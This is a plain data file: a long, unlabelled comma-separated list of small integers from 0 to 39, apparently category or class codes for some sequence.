12, 12, 12, 12, 12, 12, 12, 12, 39, 8, 17, 39, 39, 39, 39, 9, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 17, 21, 12, 21, 21, 12, 21, 21, 6, 21, 39, 39, 39, 39, 39, 39, 39, 39, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 10, 10, 10, 8, 8, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 6, 6, 6, 6, 6, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 11, 11, 12, 12, 12, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 6, 12, 21, 21, 21, 21, 21, 21, 21, 12, 12, 21, 21, 21, 21, 21, 21, 12, 12, 21, 21, 12, 21, 21, 21, 21, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 8, 6, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 21, 21, 21, 12, 21, 21, 21, 21, 21, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 17, 17, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 21, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 21, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 39, 39, 39, 39, 39, 39, 39, 39, 21, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 21, 21, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 10, 10, 12, 12, 12, 12, 12, 10, 12, 9, 39, 39, 39, 39, 39, 21, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 21, 21, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 21, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 9, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 21, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 21, 21, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 12, 39, 39, 39, 39, 39, 39, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 9, 12, 39, 39, 39, 39, 39, 39, 21, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 21, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 21, 21, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 39, 39, 39, 39, 39, 39, 39, 39, 21, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 21, 21, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 39, 39, 39, 10, 12, 12, 12, 12, 12, 12, 39, 39, 21, 21, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, 39, 39, 9, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 17, 17, 39, 39, 39, 39, 39, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 36, 36, 36, 36, 12, 18, 18, 18, 18, 12, 18, 18, 4, 18, 18, 17, 4, 6, 6, 6, 6, 6, 4, 12, 6, 12, 12, 12, 21, 21, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 21, 12, 21, 12, 21, 0, 1, 0, 1, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 17, 21, 21, 21, 21, 21, 17, 21, 21, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 17, 17, 12, 12, 12, 12, 12, 12, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 18, 18, 17, 18, 12, 12, 12, 12, 12, 4, 4, 39, 39, 39, 39, 39, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 17, 17, 12, 12, 12, 12, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 36, 36, 36, 36, 36, 36, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 21, 21, 21, 12, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 17, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 17, 17, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 17, 17, 5, 36, 17, 12, 17, 9, 36, 36, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 6, 6, 17, 17, 18, 12, 6, 6, 12, 21, 21, 21, 4, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 12, 39, 39, 39, 6, 6, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 36, 36, 36, 36, 36, 36, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 39, 39, 12, 12, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, 21, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 17, 17, 12, 17, 17, 17, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 17, 17, 17, 17, 17, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 17, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 21, 12, 12, 12, 12, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 18, 12, 39, 17, 17, 17, 17, 17, 17, 17, 4, 17, 17, 17, 20, 21, 21, 21, 21, 17, 4, 17, 17, 19, 29, 29, 12, 3, 3, 0, 3, 3, 3, 0, 3, 29, 29, 12, 12, 15, 15, 15, 17, 30, 30, 21, 21, 21, 21, 21, 4, 10, 10, 10, 10, 10, 10, 10, 10, 12, 3, 3, 29, 5, 5, 12, 12, 12, 12, 12, 12, 8, 0, 1, 5, 5, 5, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 12, 17, 17, 17, 17, 12, 17, 17, 17, 22, 12, 12, 12, 12, 39, 39, 39, 39, 39, 21, 21, 21, 21, 21, 21, 12, 12, 39, 39, 29, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 29, 12, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 9, 9, 9, 9, 9, 9, 9, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 9, 9, 9, 9, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 10, 12, 29, 12, 12, 12, 10, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 9, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 12, 12, 12, 12, 12, 29, 12, 12, 29, 12, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 12, 12, 12, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 29, 29, 12, 12, 12, 29, 29, 12, 12, 29, 12, 12, 12, 29, 12, 29, 9, 9, 12, 29, 12, 12, 12, 12, 29, 12, 12, 29, 29, 29, 29, 12, 12, 29, 12, 29, 12, 29, 29, 29, 29, 29, 29, 12, 29, 12, 12, 12, 12, 12, 29, 29, 29, 29, 12, 12, 12, 12, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 